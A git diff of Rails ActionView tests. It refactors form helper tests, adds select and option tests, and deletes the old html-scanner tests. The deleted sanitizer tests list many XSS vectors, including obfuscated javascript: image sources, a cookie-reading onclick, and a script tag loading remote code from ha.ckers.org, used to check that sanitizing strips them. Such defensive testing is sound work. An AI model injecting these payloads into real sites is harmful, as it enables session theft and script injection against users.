+      form_for(:post) do |f|
+        concat f.submit class: "extra"
+      end
 
-    form_for(:post) do |f|
-      concat f.submit class: "extra"
-    end
+      expected = whole_form do
+        "<input name='commit' class='extra' type='submit' value='Save changes' />"
+      end
 
-    expected = whole_form do
-      "<input name='commit' class='extra' type='submit' value='Save changes' />"
+      assert_dom_equal expected, output_buffer
     end
-
-    assert_dom_equal expected, output_buffer
-  ensure
-    I18n.locale = old_locale
   end
 
   def test_submit_with_object_and_nested_lookup
-    old_locale, I18n.locale = I18n.locale, :submit
+    with_locale :submit do
+      form_for(@post, as: :another_post) do |f|
+        concat f.submit
+      end
 
-    form_for(@post, as: :another_post) do |f|
-      concat f.submit
-    end
+      expected = whole_form('/posts/123', 'edit_another_post', 'edit_another_post', method: 'patch') do
+        "<input name='commit' type='submit' value='Update your Post' />"
+      end
 
-    expected = whole_form('/posts/123', 'edit_another_post', 'edit_another_post', method: 'patch') do
-      "<input name='commit' type='submit' value='Update your Post' />"
+      assert_dom_equal expected, output_buffer
     end
-
-    assert_dom_equal expected, output_buffer
-  ensure
-    I18n.locale = old_locale
   end
 
   def test_nested_fields_for
@@ -2321,6 +2804,18 @@ class FormHelperTest < ActionView::TestCase
     assert_dom_equal expected, output_buffer
   end
 
+  def test_nested_fields_label_translation_with_more_than_10_records
+    @post.comments = Array.new(11) { |id| Comment.new(id + 1) }
+
+    I18n.expects(:t).with('post.comments.body', default: [:"comment.body", ''], scope: "helpers.label").times(11).returns "Write body here"
+
+    form_for(@post) do |f|
+      f.fields_for(:comments) do |cf|
+        concat cf.label(:body)
+      end
+    end
+  end
+
   def test_nested_fields_for_with_existing_records_on_a_supplied_nested_attributes_collection_different_from_record_one
     comments = Array.new(2) { |id| Comment.new(id + 1) }
     @post.comments = []
@@ -2834,7 +3329,7 @@ class FormHelperTest < ActionView::TestCase
   def test_form_for_with_string_url_option
     form_for(@post, url: 'http://www.otherdomain.com') do |f| end
 
-    assert_equal whole_form("http://www.otherdomain.com", "edit_post_123", "edit_post", method: "patch"), output_buffer
+    assert_dom_equal whole_form("http://www.otherdomain.com", "edit_post_123", "edit_post", method: "patch"), output_buffer
   end
 
   def test_form_for_with_hash_url_option
@@ -2848,14 +3343,14 @@ class FormHelperTest < ActionView::TestCase
     form_for(@post, url: @post) do |f| end
 
     expected = whole_form("/posts/123", "edit_post_123", "edit_post", method: "patch")
-    assert_equal expected, output_buffer
+    assert_dom_equal expected, output_buffer
   end
 
   def test_form_for_with_existing_object
     form_for(@post) do |f| end
 
     expected = whole_form("/posts/123", "edit_post_123", "edit_post", method: "patch")
-    assert_equal expected, output_buffer
+    assert_dom_equal expected, output_buffer
   end
 
   def test_form_for_with_new_object
@@ -2866,7 +3361,7 @@ class FormHelperTest < ActionView::TestCase
     form_for(post) do |f| end
 
     expected = whole_form("/posts", "new_post", "new_post")
-    assert_equal expected, output_buffer
+    assert_dom_equal expected, output_buffer
   end
 
   def test_form_for_with_existing_object_in_list
@@ -2903,7 +3398,7 @@ class FormHelperTest < ActionView::TestCase
     form_for(@post, url: "/super_posts") do |f| end
 
     expected = whole_form("/super_posts", "edit_post_123", "edit_post", method: "patch")
-    assert_equal expected, output_buffer
+    assert_dom_equal expected, output_buffer
   end
 
   def test_form_for_with_default_method_as_patch
@@ -2938,13 +3433,20 @@ class FormHelperTest < ActionView::TestCase
 
   protected
 
-  def hidden_fields(method = nil)
-    txt =  %{<div style="margin:0;padding:0;display:inline">}
-    txt << %{<input name="utf8" type="hidden" value="&#x2713;" />}
+  def hidden_fields(options = {})
+    method = options[:method]
+
+    if options.fetch(:enforce_utf8, true)
+      txt = %{<input name="utf8" type="hidden" value="&#x2713;" />}
+    else
+      txt = ''
+    end
+
     if method && !%w(get post).include?(method.to_s)
       txt << %{<input name="_method" type="hidden" value="#{method}" />}
     end
-    txt << %{</div>}
+
+    txt
   end
 
   def form_text(action = "/", id = nil, html_class = nil, remote = nil, multipart = nil, method = nil)
@@ -2962,10 +3464,17 @@ class FormHelperTest < ActionView::TestCase
 
     method, remote, multipart = options.values_at(:method, :remote, :multipart)
 
-    form_text(action, id, html_class, remote, multipart, method) + hidden_fields(method) + contents + "</form>"
+    form_text(action, id, html_class, remote, multipart, method) + hidden_fields(options.slice :method, :enforce_utf8) + contents + "</form>"
   end
 
   def protect_against_forgery?
     false
   end
+
+  def with_locale(testing_locale = :label)
+    old_locale, I18n.locale = I18n.locale, testing_locale
+    yield
+  ensure
+    I18n.locale = old_locale
+  end
 end
diff --git a/actionview/test/template/form_options_helper_test.rb b/actionview/test/template/form_options_helper_test.rb
index 3ec138b639..d25fa3706f 100644
--- a/actionview/test/template/form_options_helper_test.rb
+++ b/actionview/test/template/form_options_helper_test.rb
@@ -1,5 +1,4 @@
 require 'abstract_unit'
-require 'tzinfo'
 
 class Map < Hash
   def category
@@ -7,8 +6,6 @@ class Map < Hash
   end
 end
 
-TZInfo::Timezone.cattr_reader :loaded_zones
-
 class FormOptionsHelperTest < ActionView::TestCase
   tests ActionView::Helpers::FormOptionsHelper
 
@@ -22,7 +19,7 @@ class FormOptionsHelperTest < ActionView::TestCase
 
   def setup
     @fake_timezones = %w(A B C D E).map do |id|
-      tz = TZInfo::Timezone.loaded_zones[id] = stub(:name => id, :to_s => id)
+      tz = stub(:name => id, :to_s => id)
       ActiveSupport::TimeZone.stubs(:[]).with(id).returns(tz)
       tz
     end
@@ -122,6 +119,26 @@ class FormOptionsHelperTest < ActionView::TestCase
     )
   end
 
+  def test_array_options_for_select_with_custom_defined_selected
+    assert_dom_equal(
+      "<option selected=\"selected\" type=\"Coach\" value=\"1\">Richard Bandler</option>\n<option type=\"Coachee\" value=\"1\">Richard Bandler</option>",
+      options_for_select([
+        ['Richard Bandler', 1, { type: 'Coach', selected: 'selected' }],
+        ['Richard Bandler', 1, { type: 'Coachee' }]
+      ])
+    )
+  end
+
+  def test_array_options_for_select_with_custom_defined_disabled
+    assert_dom_equal(
+      "<option disabled=\"disabled\" type=\"Coach\" value=\"1\">Richard Bandler</option>\n<option type=\"Coachee\" value=\"1\">Richard Bandler</option>",
+      options_for_select([
+        ['Richard Bandler', 1, { type: 'Coach', disabled: 'disabled' }],
+        ['Richard Bandler', 1, { type: 'Coachee' }]
+      ])
+    )
+  end
+
   def test_array_options_for_select_with_selection
     assert_dom_equal(
       "<option value=\"Denmark\">Denmark</option>\n<option value=\"&lt;USA&gt;\" selected=\"selected\">&lt;USA&gt;</option>\n<option value=\"Sweden\">Sweden</option>",
@@ -559,6 +576,34 @@ class FormOptionsHelperTest < ActionView::TestCase
     )
   end
 
+  def test_select_under_fields_for_with_block
+    @post = Post.new
+
+    output_buffer = fields_for :post, @post do |f|
+      concat(f.select(:category) do
+        concat content_tag(:option, "hello world")
+      end)
+    end
+
+    assert_dom_equal(
+      "<select id=\"post_category\" name=\"post[category]\"><option>hello world</option></select>",
+      output_buffer
+    )
+  end
+
+  def test_select_under_fields_for_with_block_without_options
+    @post = Post.new
+
+    output_buffer = fields_for :post, @post do |f|
+      concat(f.select(:category) {})
+    end
+
+    assert_dom_equal(
+      "<select id=\"post_category\" name=\"post[category]\"></select>",
+      output_buffer
+    )
+  end
+
   def test_select_with_multiple_to_add_hidden_input
     output_buffer =  select(:post, :category, "", {}, :multiple => true)
     assert_dom_equal(
@@ -786,6 +831,22 @@ class FormOptionsHelperTest < ActionView::TestCase
     )
   end
 
+  def test_select_not_existing_method_with_selected_value
+    @post = Post.new
+    assert_dom_equal(
+      "<select id=\"post_locale\" name=\"post[locale]\"><option value=\"en\">en</option>\n<option value=\"ru\" selected=\"selected\">ru</option></select>",
+      select("post", "locale", %w( en ru ), :selected => 'ru')
+    )
+  end
+
+  def test_select_with_prompt_and_selected_value
+    @post = Post.new
+    assert_dom_equal(
+      "<select id=\"post_category\" name=\"post[category]\"><option value=\"one\">one</option>\n<option selected=\"selected\" value=\"two\">two</option></select>",
+      select("post", "category", %w( one two ), :selected => 'two', :prompt => true)
+    )
+  end
+
   def test_select_with_disabled_array
     @post = Post.new
     @post.category = "<mus>"
diff --git a/actionview/test/template/form_tag_helper_test.rb b/actionview/test/template/form_tag_helper_test.rb
index 22bf438a56..84a581b107 100644
--- a/actionview/test/template/form_tag_helper_test.rb
+++ b/actionview/test/template/form_tag_helper_test.rb
@@ -14,12 +14,15 @@ class FormTagHelperTest < ActionView::TestCase
     method = options[:method]
     enforce_utf8 = options.fetch(:enforce_utf8, true)
 
-    txt =  %{<div style="margin:0;padding:0;display:inline">}
-    txt << %{<input name="utf8" type="hidden" value="&#x2713;" />} if enforce_utf8
-    if method && !%w(get post).include?(method.to_s)
-      txt << %{<input name="_method" type="hidden" value="#{method}" />}
+    ''.tap do |txt|
+      if enforce_utf8
+        txt << %{<input name="utf8" type="hidden" value="&#x2713;" />}
+      end
+
+      if method && !%w(get post).include?(method.to_s)
+        txt << %{<input name="_method" type="hidden" value="#{method}" />}
+      end
     end
-    txt << %{</div>}
   end
 
   def form_text(action = "http://www.example.com", options = {})
@@ -167,6 +170,13 @@ class FormTagHelperTest < ActionView::TestCase
     assert_dom_equal expected, actual
   end
 
+  def test_multiple_field_tags_with_same_options
+    options = {class: 'important'}
+    assert_dom_equal %(<input name="title" type="file" id="title" class="important"/>), file_field_tag("title", options)
+    assert_dom_equal %(<input type="password" name="title" id="title" value="Hello!" class="important" />), password_field_tag("title", "Hello!", options)
+    assert_dom_equal %(<input type="text" name="title" id="title" value="Hello!" class="important" />), text_field_tag("title", "Hello!", options)
+  end
+
   def test_radio_button_tag
     actual = radio_button_tag "people", "david"
     expected = %(<input id="people_david" name="people" type="radio" value="david" />)
@@ -222,6 +232,18 @@ class FormTagHelperTest < ActionView::TestCase
     assert_dom_equal expected, actual
   end
 
+  def test_select_tag_with_include_blank_false
+    actual = select_tag "places", "<option>Home</option><option>Work</option><option>Pub</option>".html_safe, include_blank: false
+    expected = %(<select id="places" name="places"><option>Home</option><option>Work</option><option>Pub</option></select>)
+    assert_dom_equal expected, actual
+  end
+
+  def test_select_tag_with_include_blank_string
+    actual = select_tag "places", "<option>Home</option><option>Work</option><option>Pub</option>".html_safe, include_blank: 'Choose'
+    expected = %(<select id="places" name="places"><option value="">Choose</option><option>Home</option><option>Work</option><option>Pub</option></select>)
+    assert_dom_equal expected, actual
+  end
+
   def test_select_tag_with_prompt
     actual = select_tag "places", "<option>Home</option><option>Work</option><option>Pub</option>".html_safe, :prompt => "string"
     expected = %(<select id="places" name="places"><option value="">string</option><option>Home</option><option>Work</option><option>Pub</option></select>)
@@ -476,6 +498,11 @@ class FormTagHelperTest < ActionView::TestCase
     assert_dom_equal('<button name="temptation" type="button"><strong>Do not press me</strong></button>', output)
   end
 
+  def test_button_tag_defaults_with_block_and_options
+    output = button_tag(:name => 'temptation', :value => 'within') { content_tag(:strong, 'Do not press me') }
+    assert_dom_equal('<button name="temptation" value="within" type="submit" ><strong>Do not press me</strong></button>', output)
+  end
+
   def test_button_tag_with_confirmation
     assert_dom_equal(
       %(<button name="button" type="submit" data-confirm="Are you sure?">Save</button>),
@@ -624,6 +651,6 @@ class FormTagHelperTest < ActionView::TestCase
   private
 
   def root_elem(rendered_content)
-    HTML::Document.new(rendered_content).root.children[0]
+    Nokogiri::HTML::DocumentFragment.parse(rendered_content).children.first # extract from nodeset
   end
 end
diff --git a/actionview/test/template/html-scanner/cdata_node_test.rb b/actionview/test/template/html-scanner/cdata_node_test.rb
deleted file mode 100644
index 9b58174641..0000000000
--- a/actionview/test/template/html-scanner/cdata_node_test.rb
+++ /dev/null
@@ -1,15 +0,0 @@
-require 'abstract_unit'
-
-class CDATANodeTest < ActiveSupport::TestCase
-  def setup
-    @node = HTML::CDATA.new(nil, 0, 0, "<p>howdy</p>")
-  end
-
-  def test_to_s
-    assert_equal "<![CDATA[<p>howdy</p>]]>", @node.to_s
-  end
-
-  def test_content
-    assert_equal "<p>howdy</p>", @node.content
-  end
-end
diff --git a/actionview/test/template/html-scanner/document_test.rb b/actionview/test/template/html-scanner/document_test.rb
deleted file mode 100644
index 17f045d549..0000000000
--- a/actionview/test/template/html-scanner/document_test.rb
+++ /dev/null
@@ -1,148 +0,0 @@
-require 'abstract_unit'
-
-class DocumentTest < ActiveSupport::TestCase
-  def test_handle_doctype
-    doc = nil
-    assert_nothing_raised do
-      doc = HTML::Document.new <<-HTML.strip
-        <!DOCTYPE "blah" "blah" "blah">
-        <html>
-        </html>
-      HTML
-    end
-    assert_equal 3, doc.root.children.length
-    assert_equal %{<!DOCTYPE "blah" "blah" "blah">}, doc.root.children[0].content
-    assert_match %r{\s+}m, doc.root.children[1].content
-    assert_equal "html", doc.root.children[2].name
-  end
-
-  def test_find_img
-    doc = HTML::Document.new <<-HTML.strip
-      <html>
-        <body>
-          <p><img src="hello.gif"></p>
-        </body>
-      </html>
-    HTML
-    assert doc.find(:tag=>"img", :attributes=>{"src"=>"hello.gif"})
-  end
-
-  def test_find_all
-    doc = HTML::Document.new <<-HTML.strip
-      <html>
-        <body>
-          <p class="test"><img src="hello.gif"></p>
-          <div class="foo">
-            <p class="test">something</p>
-            <p>here is <em class="test">more</em></p>
-          </div>
-        </body>
-      </html>
-    HTML
-    all = doc.find_all :attributes => { :class => "test" }
-    assert_equal 3, all.length
-    assert_equal [ "p", "p", "em" ], all.map { |n| n.name }
-  end
-
-  def test_find_with_text
-    doc = HTML::Document.new <<-HTML.strip
-      <html>
-        <body>
-          <p>Some text</p>
-        </body>
-      </html>
-    HTML
-    assert doc.find(:content => "Some text")
-    assert doc.find(:tag => "p", :child => { :content => "Some text" })
-    assert doc.find(:tag => "p", :child => "Some text")
-    assert doc.find(:tag => "p", :content => "Some text")
-  end
-
-  def test_parse_xml
-    assert_nothing_raised { HTML::Document.new("<tags><tag/></tags>", true, true) }
-    assert_nothing_raised { HTML::Document.new("<outer><link>something</link></outer>", true, true) }
-  end
-
-  def test_parse_document
-    doc = HTML::Document.new(<<-HTML)
-      <div>
-        <h2>blah</h2>
-        <table>
-        </table>
-      </div>
-    HTML
-    assert_not_nil doc.find(:tag => "div", :children => { :count => 1, :only => { :tag => "table" } })
-  end
-
-  def test_tag_nesting_nothing_to_s
-    doc = HTML::Document.new("<tag></tag>")
-    assert_equal "<tag></tag>", doc.root.to_s
-  end
-
-  def test_tag_nesting_space_to_s
-    doc = HTML::Document.new("<tag> </tag>")
-    assert_equal "<tag> </tag>", doc.root.to_s
-  end
-
-  def test_tag_nesting_text_to_s
-    doc = HTML::Document.new("<tag>text</tag>")
-    assert_equal "<tag>text</tag>", doc.root.to_s
-  end
-
-  def test_tag_nesting_tag_to_s
-    doc = HTML::Document.new("<tag><nested /></tag>")
-    assert_equal "<tag><nested /></tag>", doc.root.to_s
-  end
-
-  def test_parse_cdata
-    doc = HTML::Document.new(<<-HTML)
-<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
-        "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
-<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
-  <head>
-    <title><![CDATA[<br>]]></title>
-   </head>
-  <body>
-    <p>this document has &lt;br&gt; for a title</p>
-  </body>
-</html>
-HTML
-
-    assert_nil doc.find(:tag => "title", :descendant => { :tag => "br" })
-    assert doc.find(:tag => "title", :child => "<br>")
-  end
-
-  def test_find_empty_tag
-    doc = HTML::Document.new("<div id='map'></div>")
-    assert_nil doc.find(:tag => "div", :attributes => { :id => "map" }, :content => /./)
-    assert doc.find(:tag => "div", :attributes => { :id => "map" }, :content => /\A\Z/)
-    assert doc.find(:tag => "div", :attributes => { :id => "map" }, :content => /^$/)
-    assert doc.find(:tag => "div", :attributes => { :id => "map" }, :content => "")
-    assert doc.find(:tag => "div", :attributes => { :id => "map" }, :content => nil)
-  end
-
-  def test_parse_invalid_document
-    assert_nothing_raised do
-      HTML::Document.new("<html>
-        <table>
-          <tr>
-            <td style=\"color: #FFFFFF; height: 17px; onclick=\"window.location.href='http://www.rmeinc.com/about_rme.aspx'\" style=\"cursor:pointer; height: 17px;\"; nowrap onclick=\"window.location.href='http://www.rmeinc.com/about_rme.aspx'\" onmouseout=\"this.bgColor='#0066cc'; this.style.color='#FFFFFF'\" onmouseover=\"this.bgColor='#ffffff'; this.style.color='#0033cc'\">About Us</td>
-          </tr>
-        </table>
-      </html>")
-    end
-  end
-
-  def test_invalid_document_raises_exception_when_strict
-    assert_raise RuntimeError do
-      HTML::Document.new("<html>
-        <table>
-          <tr>
-            <td style=\"color: #FFFFFF; height: 17px; onclick=\"window.location.href='http://www.rmeinc.com/about_rme.aspx'\" style=\"cursor:pointer; height: 17px;\"; nowrap onclick=\"window.location.href='http://www.rmeinc.com/about_rme.aspx'\" onmouseout=\"this.bgColor='#0066cc'; this.style.color='#FFFFFF'\" onmouseover=\"this.bgColor='#ffffff'; this.style.color='#0033cc'\">About Us</td>
-          </tr>
-        </table>
-      </html>", true)
-    end
-  end
-
-end
diff --git a/actionview/test/template/html-scanner/node_test.rb b/actionview/test/template/html-scanner/node_test.rb
deleted file mode 100644
index 5b5d092036..0000000000
--- a/actionview/test/template/html-scanner/node_test.rb
+++ /dev/null
@@ -1,89 +0,0 @@
-require 'abstract_unit'
-
-class NodeTest < ActiveSupport::TestCase
-
-  class MockNode
-    def initialize(matched, value)
-      @matched = matched
-      @value = value
-    end
-
-    def find(conditions)
-      @matched && self
-    end
-
-    def to_s
-      @value.to_s
-    end
-  end
-
-  def setup
-    @node = HTML::Node.new("parent")
-    @node.children.concat [MockNode.new(false,1), MockNode.new(true,"two"), MockNode.new(false,:three)]
-  end
-
-  def test_match
-    assert !@node.match("foo")
-  end
-
-  def test_tag
-    assert !@node.tag?
-  end
-
-  def test_to_s
-    assert_equal "1twothree", @node.to_s
-  end
-
-  def test_find
-    assert_equal "two", @node.find('blah').to_s
-  end
-
-  def test_parse_strict
-    s = "<b foo='hello'' bar='baz'>"
-    assert_raise(RuntimeError) { HTML::Node.parse(nil,0,0,s) }
-  end
-
-  def test_parse_relaxed
-    s = "<b foo='hello'' bar='baz'>"
-    node = nil
-    assert_nothing_raised { node = HTML::Node.parse(nil,0,0,s,false) }
-    assert node.attributes.has_key?("foo")
-    assert !node.attributes.has_key?("bar")
-  end
-
-  def test_to_s_with_boolean_attrs
-    s = "<b foo bar>"
-    node = HTML::Node.parse(nil,0,0,s)
-    assert node.attributes.has_key?("foo")
-    assert node.attributes.has_key?("bar")
-    assert "<b foo bar>", node.to_s
-  end
-
-  def test_parse_with_unclosed_tag
-    s = "<span onmouseover='bang'"
-    node = nil
-    assert_nothing_raised { node = HTML::Node.parse(nil,0,0,s,false) }
-    assert node.attributes.has_key?("onmouseover")
-  end
-
-  def test_parse_with_valid_cdata_section
-    s = "<![CDATA[<span>contents</span>]]>"
-    node = nil
-    assert_nothing_raised { node = HTML::Node.parse(nil,0,0,s,false) }
-    assert_kind_of HTML::CDATA, node
-    assert_equal '<span>contents</span>', node.content
-  end
-
-  def test_parse_strict_with_unterminated_cdata_section
-    s = "<![CDATA[neverending..."
-    assert_raise(RuntimeError) { HTML::Node.parse(nil,0,0,s) }
-  end
-
-  def test_parse_relaxed_with_unterminated_cdata_section
-    s = "<![CDATA[neverending..."
-    node = nil
-    assert_nothing_raised { node = HTML::Node.parse(nil,0,0,s,false) }
-    assert_kind_of HTML::CDATA, node
-    assert_equal 'neverending...', node.content
-  end
-end
diff --git a/actionview/test/template/html-scanner/sanitizer_test.rb b/actionview/test/template/html-scanner/sanitizer_test.rb
deleted file mode 100644
index b1c1b83807..0000000000
--- a/actionview/test/template/html-scanner/sanitizer_test.rb
+++ /dev/null
@@ -1,330 +0,0 @@
-require 'abstract_unit'
-
-class SanitizerTest < ActionController::TestCase
-  def setup
-    @sanitizer = nil # used by assert_sanitizer
-  end
-
-  def test_strip_tags_with_quote
-    sanitizer = HTML::FullSanitizer.new
-    string    = '<" <img src="trollface.gif" onload="alert(1)"> hi'
-
-    assert_equal ' hi', sanitizer.sanitize(string)
-  end
-
-  def test_strip_tags
-    sanitizer = HTML::FullSanitizer.new
-    assert_equal("<<<bad html", sanitizer.sanitize("<<<bad html"))
-    assert_equal("<<", sanitizer.sanitize("<<<bad html>"))
-    assert_equal("Dont touch me", sanitizer.sanitize("Dont touch me"))
-    assert_equal("This is a test.", sanitizer.sanitize("<p>This <u>is<u> a <a href='test.html'><strong>test</strong></a>.</p>"))
-    assert_equal("Weirdos", sanitizer.sanitize("Wei<<a>a onclick='alert(document.cookie);'</a>/>rdos"))
-    assert_equal("This is a test.", sanitizer.sanitize("This is a test."))
-    assert_equal(
-    %{This is a test.\n\n\nIt no longer contains any HTML.\n}, sanitizer.sanitize(
-    %{<title>This is <b>a <a href="" target="_blank">test</a></b>.</title>\n\n<!-- it has a comment -->\n\n<p>It no <b>longer <strong>contains <em>any <strike>HTML</strike></em>.</strong></b></p>\n}))
-    assert_equal "This has a  here.", sanitizer.sanitize("This has a <!-- comment --> here.")
-    assert_equal "This has a  here.", sanitizer.sanitize("This has a <![CDATA[<section>]]> here.")
-    assert_equal "This has an unclosed ", sanitizer.sanitize("This has an unclosed <![CDATA[<section>]] here...")
-    [nil, '', '   '].each { |blank| assert_equal blank, sanitizer.sanitize(blank) }
-    assert_nothing_raised { sanitizer.sanitize("This is a frozen string with no tags".freeze) }
-  end
-
-  def test_strip_links
-    sanitizer = HTML::LinkSanitizer.new
-    assert_equal "Dont touch me", sanitizer.sanitize("Dont touch me")
-    assert_equal "on my mind\nall day long", sanitizer.sanitize("<a href='almost'>on my mind</a>\n<A href='almost'>all day long</A>")
-    assert_equal "0wn3d", sanitizer.sanitize("<a href='http://www.rubyonrails.com/'><a href='http://www.rubyonrails.com/' onlclick='steal()'>0wn3d</a></a>")
-    assert_equal "Magic", sanitizer.sanitize("<a href='http://www.rubyonrails.com/'>Mag<a href='http://www.ruby-lang.org/'>ic")
-    assert_equal "FrrFox", sanitizer.sanitize("<href onlclick='steal()'>FrrFox</a></href>")
-    assert_equal "My mind\nall <b>day</b> long", sanitizer.sanitize("<a href='almost'>My mind</a>\n<A href='almost'>all <b>day</b> long</A>")
-    assert_equal "all <b>day</b> long", sanitizer.sanitize("<<a>a href='hello'>all <b>day</b> long<</A>/a>")
-
-    assert_equal "<a<a", sanitizer.sanitize("<a<a")
-  end
-
-  def test_sanitize_form
-    assert_sanitized "<form action=\"/foo/bar\" method=\"post\"><input></form>", ''
-  end
-
-  def test_sanitize_plaintext
-    raw = "<plaintext><span>foo</span></plaintext>"
-    assert_sanitized raw, "<span>foo</span>"
-  end
-
-  def test_sanitize_script
-    assert_sanitized "a b c<script language=\"Javascript\">blah blah blah</script>d e f", "a b cd e f"
-  end
-
-  def test_sanitize_js_handlers
-    raw = %{onthis="do that" <a href="#" onclick="hello" name="foo" onbogus="remove me">hello</a>}
-    assert_sanitized raw, %{onthis="do that" <a name="foo" href="#">hello</a>}
-  end
-
-  def test_sanitize_javascript_href
-    raw = %{href="javascript:bang" <a href="javascript:bang" name="hello">foo</a>, <span href="javascript:bang">bar</span>}
-    assert_sanitized raw, %{href="javascript:bang" <a name="hello">foo</a>, <span>bar</span>}
-  end
-
-  def test_sanitize_image_src
-    raw = %{src="javascript:bang" <img src="javascript:bang" width="5">foo</img>, <span src="javascript:bang">bar</span>}
-    assert_sanitized raw, %{src="javascript:bang" <img width="5">foo</img>, <span>bar</span>}
-  end
-
-  HTML::WhiteListSanitizer.allowed_tags.each do |tag_name|
-    define_method "test_should_allow_#{tag_name}_tag" do
-      assert_sanitized "start <#{tag_name} title=\"1\" onclick=\"foo\">foo <bad>bar</bad> baz</#{tag_name}> end", %(start <#{tag_name} title="1">foo bar baz</#{tag_name}> end)
-    end
-  end
-
-  def test_should_allow_anchors
-    assert_sanitized %(<a href="foo" onclick="bar"><script>baz</script></a>), %(<a href="foo"></a>)
-  end
-
-  # RFC 3986, sec 4.2
-  def test_allow_colons_in_path_component
-    assert_sanitized("<a href=\"./this:that\">foo</a>")
-  end
-
-  %w(src width height alt).each do |img_attr|
-    define_method "test_should_allow_image_#{img_attr}_attribute" do
-      assert_sanitized %(<img #{img_attr}="foo" onclick="bar" />), %(<img #{img_attr}="foo" />)
-    end
-  end
-
-  def test_should_handle_non_html
-    assert_sanitized 'abc'
-  end
-
-  def test_should_handle_blank_text
-    assert_sanitized nil
-    assert_sanitized ''
-  end
-
-  def test_should_allow_custom_tags
-    text = "<u>foo</u>"
-    sanitizer = HTML::WhiteListSanitizer.new
-    assert_equal(text, sanitizer.sanitize(text, :tags => %w(u)))
-  end
-
-  def test_should_allow_only_custom_tags
-    text = "<u>foo</u> with <i>bar</i>"
-    sanitizer = HTML::WhiteListSanitizer.new
-    assert_equal("<u>foo</u> with bar", sanitizer.sanitize(text, :tags => %w(u)))
-  end
-
-  def test_should_allow_custom_tags_with_attributes
-    text = %(<blockquote cite="http://example.com/">foo</blockquote>)
-    sanitizer = HTML::WhiteListSanitizer.new
-    assert_equal(text, sanitizer.sanitize(text))
-  end
-
-  def test_should_allow_custom_tags_with_custom_attributes
-    text = %(<blockquote foo="bar">Lorem ipsum</blockquote>)
-    sanitizer = HTML::WhiteListSanitizer.new
-    assert_equal(text, sanitizer.sanitize(text, :attributes => ['foo']))
-  end
-
-  def test_should_raise_argument_error_if_tags_is_not_enumerable
-    sanitizer = HTML::WhiteListSanitizer.new
-    e = assert_raise(ArgumentError) do
-      sanitizer.sanitize('', :tags => 'foo')
-    end
-
-    assert_equal "You should pass :tags as an Enumerable", e.message
-  end
-
-  def test_should_raise_argument_error_if_attributes_is_not_enumerable
-    sanitizer = HTML::WhiteListSanitizer.new
-    e = assert_raise(ArgumentError) do
-      sanitizer.sanitize('', :attributes => 'foo')
-    end
-
-    assert_equal "You should pass :attributes as an Enumerable", e.message
-  end
-
-  [%w(img src), %w(a href)].each do |(tag, attr)|
-    define_method "test_should_strip_#{attr}_attribute_in_#{tag}_with_bad_protocols" do
-      assert_sanitized %(<#{tag} #{attr}="javascript:bang" title="1">boo</#{tag}>), %(<#{tag} title="1">boo</#{tag}>)
-    end
-  end
-
-  def test_should_flag_bad_protocols
-    sanitizer = HTML::WhiteListSanitizer.new
-    %w(about chrome data disk hcp help javascript livescript lynxcgi lynxexec ms-help ms-its mhtml mocha opera res resource shell vbscript view-source vnd.ms.radio wysiwyg).each do |proto|
-      assert sanitizer.send(:contains_bad_protocols?, 'src', "#{proto}://bad")
-    end
-  end
-
-  def test_should_accept_good_protocols_ignoring_case
-    sanitizer = HTML::WhiteListSanitizer.new
-    HTML::WhiteListSanitizer.allowed_protocols.each do |proto|
-      assert !sanitizer.send(:contains_bad_protocols?, 'src', "#{proto.capitalize}://good")
-    end
-  end
-
-  def test_should_accept_good_protocols_ignoring_space
-    sanitizer = HTML::WhiteListSanitizer.new
-    HTML::WhiteListSanitizer.allowed_protocols.each do |proto|
-      assert !sanitizer.send(:contains_bad_protocols?, 'src', " #{proto}://good")
-    end
-  end
-
-  def test_should_accept_good_protocols
-    sanitizer = HTML::WhiteListSanitizer.new
-    HTML::WhiteListSanitizer.allowed_protocols.each do |proto|
-      assert !sanitizer.send(:contains_bad_protocols?, 'src', "#{proto}://good")
-    end
-  end
-
-  def test_should_reject_hex_codes_in_protocol
-    assert_sanitized %(<a href="&#37;6A&#37;61&#37;76&#37;61&#37;73&#37;63&#37;72&#37;69&#37;70&#37;74&#37;3A&#37;61&#37;6C&#37;65&#37;72&#37;74&#37;28&#37;22&#37;58&#37;53&#37;53&#37;22&#37;29">1</a>), "<a>1</a>"
-    assert @sanitizer.send(:contains_bad_protocols?, 'src', "%6A%61%76%61%73%63%72%69%70%74%3A%61%6C%65%72%74%28%22%58%53%53%22%29")
-  end
-
-  def test_should_block_script_tag
-    assert_sanitized %(<SCRIPT\nSRC=http://ha.ckers.org/xss.js></SCRIPT>), ""
-  end
-
-  [%(<IMG SRC="javascript:alert('XSS');">),
-   %(<IMG SRC=javascript:alert('XSS')>),
-   %(<IMG SRC=JaVaScRiPt:alert('XSS')>),
-   %(<IMG """><SCRIPT>alert("XSS")</SCRIPT>">),
-   %(<IMG SRC=javascript:alert(&quot;XSS&quot;)>),
-   %(<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>),
-   %(<IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;>),
-   %(<IMG SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041>),
-   %(<IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>),
-   %(<IMG SRC="jav\tascript:alert('XSS');">),
-   %(<IMG SRC="jav&#x09;ascript:alert('XSS');">),
-   %(<IMG SRC="jav&#x0A;ascript:alert('XSS');">),
-   %(<IMG SRC="jav&#x0D;ascript:alert('XSS');">),
-   %(<IMG SRC=" &#14;  javascript:alert('XSS');">),
-   %(<IMG SRC="javascript&#x3a;alert('XSS');">),
-   %(<IMG SRC=`javascript:alert("RSnake says, 'XSS'")`>)].each_with_index do |img_hack, i|
-    define_method "test_should_not_fall_for_xss_image_hack_#{i+1}" do
-      assert_sanitized img_hack, "<img>"
-    end
-  end
-
-  def test_should_sanitize_tag_broken_up_by_null
-    assert_sanitized %(<SCR\0IPT>alert(\"XSS\")</SCR\0IPT>), "alert(\"XSS\")"
-  end
-
